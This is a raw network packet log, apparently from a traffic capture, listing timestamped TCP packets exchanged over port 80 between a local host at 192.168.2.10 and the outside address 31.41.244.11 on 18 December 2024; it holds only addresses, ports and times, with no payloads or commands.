Dec 18, 2024 15:56:14.218290091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.218364000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.218965054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.219012976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.219057083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.219100952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.219696999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.219840050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.219887018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.219933987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.220464945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.220510960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.220570087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.220613956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.221174955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.221223116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.221295118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.222023964 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.222073078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.222132921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.222733974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.222785950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.222924948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.222970009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.223340034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.223444939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.223494053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.224122047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.224157095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.224204063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.224816084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.224864006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.224936008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.225511074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.225560904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.225620985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.226249933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.226304054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.226366043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.226411104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.226977110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.227140903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.227186918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.227761984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.227826118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.227847099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.227870941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.228589058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.228635073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.228708029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.228755951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.229150057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.229197025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.229326010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.229372025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.229851007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.229902983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.229974985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.230017900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.230607033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.230654955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.230721951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.230768919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.231359959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.231409073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.231503010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.231549978 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.232043028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.232150078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.232201099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.232944965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.233120918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.233174086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.233670950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.233705044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.233755112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.234239101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.234287977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.234395027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.235007048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.235061884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.235095978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.235137939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.235718012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.235795021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.235867977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.236004114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.236454010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.236500025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.236675024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.236721039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.237282991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.237329006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.237389088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.237435102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.237898111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.237943888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.238051891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.238105059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.238662004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.238715887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.238985062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.239092112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.239403963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.239604950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.239655018 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.240060091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.240103960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.240113974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.240158081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.240813017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.240883112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.240991116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.241034031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.241499901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.241645098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.241658926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.241776943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.242242098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.242295027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.242364883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.242959976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.243005037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.243081093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.243129015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.243721962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.243840933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.243845940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.243885994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.244455099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.244499922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.244556904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.244599104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.245143890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.245187998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.245244026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.245289087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.245927095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.245976925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.246006012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.246043921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.246615887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.246731997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.246772051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.247328997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.247842073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.378144979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.378179073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.378249884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.378293037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.378355026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.378401995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.378441095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.378499031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.379023075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.379107952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.379138947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.379179955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.379545927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.379595995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.404221058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.404380083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.404402018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.404460907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.404599905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.404649973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.404742002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.404792070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.405005932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.405066013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.405478001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.405574083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.405586004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.405673981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.406183958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.406248093 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.406277895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.406322002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.406836033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.406848907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.406892061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.406913042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.407577038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.407633066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.407727003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.407769918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.408464909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.408571005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.408620119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.409079075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.409159899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.409209013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.409759045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.409938097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.409998894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.410464048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.410557985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.410610914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.411209106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.411264896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.411322117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.411529064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.411967039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.411998034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.412058115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.412070036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.412774086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.412837029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.412852049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.412879944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.413381100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.413465023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.413487911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.413543940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.414098978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.414195061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.414232969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.414411068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.414882898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.414977074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.415004015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.415035009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.415575027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.415621042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.415632963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.415678978 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.416348934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.416455984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.416476011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.416498899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.417110920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.417236090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.417325974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.417758942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.417815924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.417884111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.418490887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.418582916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.418607950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.419230938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.419277906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.419285059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.419836044 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.419981956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.420110941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.420152903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.420785904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.420840979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.420896053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.421242952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.421468019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.421523094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.421623945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.421761990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.422122002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.422239065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.422243118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.422332048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.422889948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.422938108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.422986031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.423026085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.423612118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.423667908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.423671007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.423819065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.424602985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.424669027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.424705029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.425020933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.425261974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.425394058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.425396919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.425467968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.426151991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.426208019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.426305056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.426352978 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.426943064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.427048922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.427109957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.427622080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.427733898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.427824974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.428291082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.428375959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.428435087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.428816080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.428978920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.429064035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.429574013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.429728985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.429802895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.429841042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.430356026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.430404902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.430432081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.430721045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.430943012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.431020021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.431046009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.431097031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.431619883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.431679010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.431716919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.431823015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.432344913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.432401896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.432529926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.432771921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.433059931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.433119059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.433178902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.433235884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.433804035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.433887005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.433902025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.433945894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.434535980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.434662104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.434719086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.435309887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.435372114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.435384035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.435445070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.435972929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.436021090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.436079025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.436121941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.436803102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.436846972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.436855078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.436908007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.437458992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.437578917 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.437607050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.437652111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.438220978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.438385963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.438443899 CET	49749	80	192.168.2.10	31.41.244.11
